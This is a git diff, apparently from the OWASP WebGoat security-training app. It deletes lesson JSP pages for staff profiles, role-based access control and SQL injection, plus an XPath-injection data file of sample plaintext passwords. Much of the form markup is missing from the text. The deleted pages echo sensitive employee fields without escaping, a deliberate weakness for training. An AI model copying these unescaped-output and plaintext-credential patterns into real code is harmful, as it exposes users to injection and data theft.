\ No newline at end of file diff --git a/src/main/webapp/lessons/GoatHillsFinancial/SearchStaff.jsp b/src/main/webapp/lessons/GoatHillsFinancial/SearchStaff.jsp deleted file mode 100644 index 611a826fd..000000000 --- a/src/main/webapp/lessons/GoatHillsFinancial/SearchStaff.jsp +++ /dev/null @@ -1,22 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial" - errorPage="" %> - \ No newline at end of file diff --git a/src/main/webapp/lessons/GoatHillsFinancial/ViewProfile.jsp b/src/main/webapp/lessons/GoatHillsFinancial/ViewProfile.jsp deleted file mode 100644 index a03d60a07..000000000 --- a/src/main/webapp/lessons/GoatHillsFinancial/ViewProfile.jsp +++ /dev/null @@ -1,157 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial" - errorPage="" %> -<% - Employee employee = (Employee) session.getAttribute("GoatHillsFinancial." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY); - WebSession webSession = ((WebSession)session.getAttribute("websession")); -// int myUserId = getIntSessionAttribute(webSession, "GoatHillsFinancial." + GoatHillsFinancial.USER_ID); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%> - View Profile Page
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- First Name: - - <%=employee.getFirstName()%> - - Last Name: - - <%=employee.getLastName()%> -
- Street: - - <%=employee.getAddress1()%> - - City/State: - - <%=employee.getAddress2()%> -
- Phone: - - <%=employee.getPhoneNumber()%> - - Start Date: - - <%=employee.getStartDate()%> -
- SSN: - - <%=employee.getSsn()%> - - Salary: - - <%=employee.getSalary()%> -
- Credit Card: - - <%=employee.getCcn()%> - - Credit Card Limit: - - <%=employee.getCcnLimit()%> -
- Comments: - - <%=employee.getPersonalDescription()%> -
- Disciplinary Explanation: - - Disc. Dates: - - <%=employee.getDisciplinaryActionDate()%> -
- <%=employee.getDisciplinaryActionNotes()%> -
- Manager: - - <%=employee.getManager()%> -
-
-
- - - - - - - - -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), GoatHillsFinancial.LISTSTAFF_ACTION)) - { - %> -
- - -
- <% - }%> -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), GoatHillsFinancial.EDITPROFILE_ACTION)) - { - %> -
- - -
- <% - } - %> -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), GoatHillsFinancial.DELETEPROFILE_ACTION)) - { - %> -
- - -
- <% - } - %> -
  -
- -
-
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/GoatHillsFinancial/error.jsp b/src/main/webapp/lessons/GoatHillsFinancial/error.jsp deleted file mode 100644 index fdffa05ab..000000000 --- a/src/main/webapp/lessons/GoatHillsFinancial/error.jsp +++ /dev/null @@ -1,13 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute(WebSession.SESSION)); -// int myUserId = getIntSessionAttribute(webSession, "GoatHillsFinancial." + GoatHillsFinancial.USER_ID); -%> -


An error has occurred. -


-
- - -
\ No newline at end of file diff --git a/src/main/webapp/lessons/GoatHillsFinancial/images/accessControl.jpg b/src/main/webapp/lessons/GoatHillsFinancial/images/accessControl.jpg deleted file mode 100644 index e9af72c50..000000000 Binary files a/src/main/webapp/lessons/GoatHillsFinancial/images/accessControl.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/GoatHillsFinancial/images/dbSchema.jpg b/src/main/webapp/lessons/GoatHillsFinancial/images/dbSchema.jpg deleted file mode 100644 index 457b634d0..000000000 Binary files a/src/main/webapp/lessons/GoatHillsFinancial/images/dbSchema.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_SearchWindow.jpg b/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_SearchWindow.jpg deleted file mode 100644 index 39e1ed80d..000000000 Binary files a/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_SearchWindow.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_header.jpg b/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_header.jpg deleted file mode 100644 index 60a809af0..000000000 Binary files a/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_header.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_loginWindow.jpg b/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_loginWindow.jpg deleted file mode 100644 index c91f8a052..000000000 Binary files a/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_loginWindow.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_menu.jpg b/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_menu.jpg deleted file mode 100644 index 2c9512571..000000000 Binary files a/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_menu.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_workspace.jpg b/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_workspace.jpg deleted file mode 100644 index 292d25654..000000000 Binary files a/src/main/webapp/lessons/GoatHillsFinancial/images/lesson1_workspace.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/GoatHillsFinancial/images/orgChart.jpg b/src/main/webapp/lessons/GoatHillsFinancial/images/orgChart.jpg deleted file mode 100644 index 016c0d162..000000000 Binary files a/src/main/webapp/lessons/GoatHillsFinancial/images/orgChart.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/EditProfile.jsp b/src/main/webapp/lessons/RoleBasedAccessControl/EditProfile.jsp deleted file mode 100644 index 467c53f04..000000000 --- a/src/main/webapp/lessons/RoleBasedAccessControl/EditProfile.jsp +++ /dev/null @@ -1,137 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - Employee employee = (Employee) session.getAttribute("RoleBasedAccessControl.Employee"); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%> - Edit Profile Page
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- First Name: - - - - Last Name: - -
- Street: - - - - City/State: - - -
- Phone: - - - - Start Date: - - -
- SSN: - - - - Salary: - - -
- Credit Card: - - - - Credit Card Limit: - - -
- Comments: - - -
- Disciplinary Explanation: - - Disc. Date: - - -
- -
- Manager: - - -
-
-
- - - - - - - - -
- - - - - - - -
-
-
- \ No newline at end of file diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/ListStaff.jsp b/src/main/webapp/lessons/RoleBasedAccessControl/ListStaff.jsp deleted file mode 100644 index 16e976851..000000000 --- a/src/main/webapp/lessons/RoleBasedAccessControl/ListStaff.jsp +++ /dev/null @@ -1,57 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - int myUserId = webSession.getUserIdInLesson(); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%> - Staff Listing Page
-
-
-
-

Select from the list below

- -
- - - - - -
-
-
- <% - if (webSession.isAuthorizedInLesson(myUserId, RoleBasedAccessControl.CREATEPROFILE_ACTION)) - { - %> -
- <% - } - %> - <% - if (webSession.isAuthorizedInLesson(myUserId, RoleBasedAccessControl.DELETEPROFILE_ACTION)) - { - %> -
- <% - } - %> -
- -
- -
- \ No newline at end of file diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/Login.jsp b/src/main/webapp/lessons/RoleBasedAccessControl/Login.jsp deleted file mode 100644 index 6e97a55e5..000000000 --- a/src/main/webapp/lessons/RoleBasedAccessControl/Login.jsp +++ /dev/null @@ -1,32 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" - errorPage="" %> -
-
- <% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - %> -
- -
- -
- -
-
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/RoleBasedAccessControl.css b/src/main/webapp/lessons/RoleBasedAccessControl/RoleBasedAccessControl.css deleted file mode 100644 index f38977fcf..000000000 --- a/src/main/webapp/lessons/RoleBasedAccessControl/RoleBasedAccessControl.css +++ /dev/null @@ -1,14 +0,0 @@ -#lesson_wrapper {height: 435px;width: 500px;} -#lesson_header {background-image: url(lessons/RoleBasedAccessControl/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;} -.lesson_workspace {background-image: url(lessons/RoleBasedAccessControl/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} -.lesson_text {height: 240px;width: 460px;padding-top: 5px;} -#lesson_buttons_bottom {height: 20px;width: 460px;} -#lesson_b_b_left {width: 300px;float: left;} -#lesson_b_b_right input {width: 100px;float: right;} -.lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} -.lesson_workspace { } -.lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} -.lesson_text_db {color: #0066FF} -#lesson_login {background-image: url(lessons/RoleBasedAccessControl/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} -#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} -#lesson_search {background-image: url(lessons/RoleBasedAccessControl/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/RoleBasedAccessControl.jsp b/src/main/webapp/lessons/RoleBasedAccessControl/RoleBasedAccessControl.jsp deleted file mode 100644 index 7afc1c789..000000000 --- a/src/main/webapp/lessons/RoleBasedAccessControl/RoleBasedAccessControl.jsp +++ /dev/null @@ -1,26 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" - errorPage="" %> - -<% -WebSession webSession = ((WebSession)session.getAttribute("websession")); -RoleBasedAccessControl currentLesson = (RoleBasedAccessControl) webSession.getCurrentLesson(); -%> -
-
-
- <% - String subViewPage = currentLesson.getPage(webSession); - if (subViewPage != null) - { - //System.out.println("Including sub view page: " + subViewPage); - %> - - <% - } - %> - -
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/SearchStaff.jsp b/src/main/webapp/lessons/RoleBasedAccessControl/SearchStaff.jsp deleted file mode 100644 index a9a9f3af2..000000000 --- a/src/main/webapp/lessons/RoleBasedAccessControl/SearchStaff.jsp +++ /dev/null @@ -1,22 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" - errorPage="" %> - \ No newline at end of file diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/ViewProfile.jsp b/src/main/webapp/lessons/RoleBasedAccessControl/ViewProfile.jsp deleted file mode 100644 index 3e56dd73e..000000000 --- a/src/main/webapp/lessons/RoleBasedAccessControl/ViewProfile.jsp +++ /dev/null @@ -1,157 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" - errorPage="" %> -<% - Employee employee = (Employee) session.getAttribute("RoleBasedAccessControl." + RoleBasedAccessControl.EMPLOYEE_ATTRIBUTE_KEY); - WebSession webSession = ((WebSession)session.getAttribute("websession")); -// int myUserId = getIntSessionAttribute(webSession, "RoleBasedAccessControl." + RoleBasedAccessControl.USER_ID); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%> - View Profile Page
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- First Name: - - <%=employee.getFirstName()%> - - Last Name: - - <%=employee.getLastName()%> -
- Street: - - <%=employee.getAddress1()%> - - City/State: - - <%=employee.getAddress2()%> -
- Phone: - - <%=employee.getPhoneNumber()%> - - Start Date: - - <%=employee.getStartDate()%> -
- SSN: - - <%=employee.getSsn()%> - - Salary: - - <%=employee.getSalary()%> -
- Credit Card: - - <%=employee.getCcn()%> - - Credit Card Limit: - - <%=employee.getCcnLimit()%> -
- Comments: - - <%=employee.getPersonalDescription()%> -
- Disciplinary Explanation: - - Disc. Dates: - - <%=employee.getDisciplinaryActionDate()%> -
- <%=employee.getDisciplinaryActionNotes()%> -
- Manager: - - <%=employee.getManager()%> -
-
-
- - - - - - - - -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), RoleBasedAccessControl.LISTSTAFF_ACTION)) - { - %> -
- - -
- <% - }%> -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), RoleBasedAccessControl.EDITPROFILE_ACTION)) - { - %> -
- - -
- <% - } - %> -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), RoleBasedAccessControl.DELETEPROFILE_ACTION)) - { - %> -
- - -
- <% - } - %> -
  -
- -
-
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/error.jsp b/src/main/webapp/lessons/RoleBasedAccessControl/error.jsp deleted file mode 100644 index 419740ee7..000000000 --- a/src/main/webapp/lessons/RoleBasedAccessControl/error.jsp +++ /dev/null @@ -1,13 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); -// int myUserId = getIntSessionAttribute(webSession, "RoleBasedAccessControl." + RoleBasedAccessControl.USER_ID); -%> -


An error has occurred. -


-
- - -
\ No newline at end of file diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/images/accessControl.jpg b/src/main/webapp/lessons/RoleBasedAccessControl/images/accessControl.jpg deleted file mode 100644 index e9af72c50..000000000 Binary files a/src/main/webapp/lessons/RoleBasedAccessControl/images/accessControl.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/images/dbSchema.jpg b/src/main/webapp/lessons/RoleBasedAccessControl/images/dbSchema.jpg deleted file mode 100644 index 457b634d0..000000000 Binary files a/src/main/webapp/lessons/RoleBasedAccessControl/images/dbSchema.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_SearchWindow.jpg b/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_SearchWindow.jpg deleted file mode 100644 index 39e1ed80d..000000000 Binary files a/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_SearchWindow.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_header.jpg b/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_header.jpg deleted file mode 100644 index 60a809af0..000000000 Binary files a/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_header.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_loginWindow.jpg b/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_loginWindow.jpg deleted file mode 100644 index c91f8a052..000000000 Binary files a/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_loginWindow.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_menu.jpg b/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_menu.jpg deleted file mode 100644 index 2c9512571..000000000 Binary files a/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_menu.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_workspace.jpg b/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_workspace.jpg deleted file mode 100644 index 292d25654..000000000 Binary files a/src/main/webapp/lessons/RoleBasedAccessControl/images/lesson1_workspace.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/RoleBasedAccessControl/images/orgChart.jpg b/src/main/webapp/lessons/RoleBasedAccessControl/images/orgChart.jpg deleted file mode 100644 index 016c0d162..000000000 Binary files a/src/main/webapp/lessons/RoleBasedAccessControl/images/orgChart.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/SQLInjection/EditProfile.jsp b/src/main/webapp/lessons/SQLInjection/EditProfile.jsp deleted file mode 100644 index 38ca58086..000000000 --- a/src/main/webapp/lessons/SQLInjection/EditProfile.jsp +++ /dev/null @@ -1,133 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.SQLInjection.SQLInjection" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - Employee employee = (Employee) session.getAttribute("SQLInjection.Employee"); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%>
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- First Name: - - - - Last Name: - - -
- Street: - - - - City/State: - - -
- Phone: - - - - Start Date: - - -
- SSN: - - - - Salary: - - -
- Credit Card: - - - - Credit Card Limit: - - -
- Comments: - - - - Manager: - - -
- Disciplinary Explanation: - - - - Disciplinary Action Dates: - - -
-
-
- - - - - - - - -
- - - - - - - -
-
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/SQLInjection/ListStaff.jsp b/src/main/webapp/lessons/SQLInjection/ListStaff.jsp deleted file mode 100644 index 5b6256e71..000000000 --- a/src/main/webapp/lessons/SQLInjection/ListStaff.jsp +++ /dev/null @@ -1,57 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.SQLInjection.SQLInjection" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - int myUserId = webSession.getUserIdInLesson(); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%> - Staff Listing Page
-
-
-
-

Select from the list below

- -
- - - - - -
-
-
- <% - if (webSession.isAuthorizedInLesson(myUserId, SQLInjection.CREATEPROFILE_ACTION)) - { - %> -
- <% - } - %> - <% - if (webSession.isAuthorizedInLesson(myUserId, SQLInjection.DELETEPROFILE_ACTION)) - { - %> -
- <% - } - %> -
- -
- -
- diff --git a/src/main/webapp/lessons/SQLInjection/Login.jsp b/src/main/webapp/lessons/SQLInjection/Login.jsp deleted file mode 100644 index a88d694db..000000000 --- a/src/main/webapp/lessons/SQLInjection/Login.jsp +++ /dev/null @@ -1,32 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.SQLInjection.SQLInjection" - errorPage="" %> -
-
- <% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - %> -
- -
- -
- -
-
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/SQLInjection/SQLInjection.css b/src/main/webapp/lessons/SQLInjection/SQLInjection.css deleted file mode 100644 index 177129117..000000000 --- a/src/main/webapp/lessons/SQLInjection/SQLInjection.css +++ /dev/null @@ -1,14 +0,0 @@ -#lesson_wrapper {height: 435px;width: 500px;} -#lesson_header {background-image: url(lessons/SQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;} -.lesson_workspace {background-image: url(lessons/SQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} -.lesson_text {height: 240px;width: 460px;padding-top: 5px;} -#lesson_buttons_bottom {height: 20px;width: 460px;} -#lesson_b_b_left {width: 300px;float: left;} -#lesson_b_b_right input {width: 100px;float: right;} -.lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} -.lesson_workspace { } -.lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} -.lesson_text_db {color: #0066FF} -#lesson_login {background-image: url(lessons/SQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} -#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} -#lesson_search {background-image: url(lessons/SQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} diff --git a/src/main/webapp/lessons/SQLInjection/SQLInjection.jsp b/src/main/webapp/lessons/SQLInjection/SQLInjection.jsp deleted file mode 100644 index 51dbc4f3f..000000000 --- a/src/main/webapp/lessons/SQLInjection/SQLInjection.jsp +++ /dev/null @@ -1,26 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.SQLInjection.SQLInjection" - errorPage="" %> - -<% -WebSession webSession = ((WebSession)session.getAttribute("websession")); -SQLInjection currentLesson = (SQLInjection) webSession.getCurrentLesson(); -%> -
-
-
- <% - String subViewPage = currentLesson.getPage(webSession); - if (subViewPage != null) - { - //System.out.println("Including sub view page: " + subViewPage); - %> - - <% - } - %> - -
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/SQLInjection/SearchStaff.jsp b/src/main/webapp/lessons/SQLInjection/SearchStaff.jsp deleted file mode 100644 index cf86d0dad..000000000 --- a/src/main/webapp/lessons/SQLInjection/SearchStaff.jsp +++ /dev/null @@ -1,22 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.SQLInjection.SQLInjection" - errorPage="" %> - \ No newline at end of file diff --git a/src/main/webapp/lessons/SQLInjection/ViewProfile.jsp b/src/main/webapp/lessons/SQLInjection/ViewProfile.jsp deleted file mode 100644 index a05a0bc39..000000000 --- a/src/main/webapp/lessons/SQLInjection/ViewProfile.jsp +++ /dev/null @@ -1,154 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.SQLInjection.SQLInjection" - errorPage="" %> -<% - WebSession webSession = ((WebSession)session.getAttribute("websession")); - Employee employee = (Employee) session.getAttribute("SQLInjection." + SQLInjection.EMPLOYEE_ATTRIBUTE_KEY); -// int myUserId = getIntSessionAttribute(webSession, "SQLInjection." + SQLInjection.USER_ID); -%> -
Welcome Back <%=webSession.getUserNameInLesson()%>
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- First Name: - - <%=employee.getFirstName()%> - - Last Name: - - <%=employee.getLastName()%> -
- Street: - - <%=employee.getAddress1()%> - - City/State: - - <%=employee.getAddress2()%> -
- Phone: - - <%=employee.getPhoneNumber()%> - - Start Date: - - <%=employee.getStartDate()%> -
- SSN: - - <%=employee.getSsn()%> - - Salary: - - <%=employee.getSalary()%> -
- Credit Card: - - <%=employee.getCcn()%> - - Credit Card Limit: - - <%=employee.getCcnLimit()%> -
- Comments: - - <%=employee.getPersonalDescription()%> - - Manager: - - <%=employee.getManager()%> -
- Disciplinary Explanation: - - <%=employee.getDisciplinaryActionNotes()%> - - Disciplinary Action Dates: - - <%=employee.getDisciplinaryActionDate()%> -
-
-
- - - - - - - - -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), SQLInjection.LISTSTAFF_ACTION)) - { - %> -
- - -
- <% - } - %> -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), SQLInjection.EDITPROFILE_ACTION)) - { - %> -
- - -
- <% - } - %> -
- <% - if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), SQLInjection.DELETEPROFILE_ACTION)) - { - %> -
- - -
- <% - } - %> -
  -
- -
-
-
\ No newline at end of file diff --git a/src/main/webapp/lessons/SQLInjection/error.jsp b/src/main/webapp/lessons/SQLInjection/error.jsp deleted file mode 100644 index 5af0a45dc..000000000 --- a/src/main/webapp/lessons/SQLInjection/error.jsp +++ /dev/null @@ -1,3 +0,0 @@ -<%@ page contentType="text/html; charset=ISO-8859-1" language="java" - errorPage="" %> -


An error has occurred. diff --git a/src/main/webapp/lessons/SQLInjection/images/lesson1_SearchWindow.jpg b/src/main/webapp/lessons/SQLInjection/images/lesson1_SearchWindow.jpg deleted file mode 100644 index 39e1ed80d..000000000 Binary files a/src/main/webapp/lessons/SQLInjection/images/lesson1_SearchWindow.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/SQLInjection/images/lesson1_header.jpg b/src/main/webapp/lessons/SQLInjection/images/lesson1_header.jpg deleted file mode 100644 index 60a809af0..000000000 Binary files a/src/main/webapp/lessons/SQLInjection/images/lesson1_header.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/SQLInjection/images/lesson1_loginWindow.jpg b/src/main/webapp/lessons/SQLInjection/images/lesson1_loginWindow.jpg deleted file mode 100644 index c91f8a052..000000000 Binary files a/src/main/webapp/lessons/SQLInjection/images/lesson1_loginWindow.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/SQLInjection/images/lesson1_menu.jpg b/src/main/webapp/lessons/SQLInjection/images/lesson1_menu.jpg deleted file mode 100644 index 2c9512571..000000000 Binary files a/src/main/webapp/lessons/SQLInjection/images/lesson1_menu.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/SQLInjection/images/lesson1_workspace.jpg b/src/main/webapp/lessons/SQLInjection/images/lesson1_workspace.jpg deleted file mode 100644 index 292d25654..000000000 Binary files a/src/main/webapp/lessons/SQLInjection/images/lesson1_workspace.jpg and /dev/null differ diff --git a/src/main/webapp/lessons/XPATHInjection/EmployeesData.xml b/src/main/webapp/lessons/XPATHInjection/EmployeesData.xml deleted file mode 100644 index e82f74989..000000000 --- a/src/main/webapp/lessons/XPATHInjection/EmployeesData.xml +++ /dev/null @@ -1,21 +0,0 @@ - - - - Mike - 11123 - test123 - 468100 - - - John - 63458 - myownpass - 559833 - - - Sarah - 23363 - secret - 84000 - - diff --git a/src/main/webapp/lesson_plans/en/SqlStringInjection.html b/src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection.html similarity index 100% rename from src/main/webapp/lesson_plans/en/SqlStringInjection.html rename to src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection.html diff --git a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/colorschememapping.xml b/src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/colorschememapping.xml similarity index 100% rename from src/main/webapp/lesson_solutions/AccessControlMatrix_files/colorschememapping.xml rename to src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/colorschememapping.xml diff --git a/src/main/webapp/lesson_solutions/SqlStringInjection_files/filelist.xml b/src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/filelist.xml similarity index 100% rename from src/main/webapp/lesson_solutions/SqlStringInjection_files/filelist.xml rename to src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/filelist.xml diff --git a/src/main/webapp/lesson_solutions/SqlStringInjection_files/image001.png b/src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/image001.png similarity index 100% rename from src/main/webapp/lesson_solutions/SqlStringInjection_files/image001.png rename to src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/image001.png diff --git a/src/main/webapp/lesson_solutions/SqlStringInjection_files/image003.png b/src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/image003.png similarity index 100% rename from src/main/webapp/lesson_solutions/SqlStringInjection_files/image003.png rename to src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/image003.png diff --git a/src/main/webapp/lesson_solutions/SqlStringInjection_files/image005.jpg b/src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/image005.jpg similarity index 100% rename from src/main/webapp/lesson_solutions/SqlStringInjection_files/image005.jpg rename to src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/image005.jpg diff --git a/src/main/webapp/lesson_solutions/SqlStringInjection_files/image006.jpg b/src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/image006.jpg similarity index 100% rename from src/main/webapp/lesson_solutions/SqlStringInjection_files/image006.jpg rename to src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/image006.jpg diff --git a/src/main/webapp/lesson_solutions/AccessControlMatrix_files/themedata.thmx b/src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/themedata.thmx similarity index 100% rename from src/main/webapp/lesson_solutions/AccessControlMatrix_files/themedata.thmx rename to src/main/webapp/lessons/plugin/SqlStringInjection/en/SqlStringInjection_files/themedata.thmx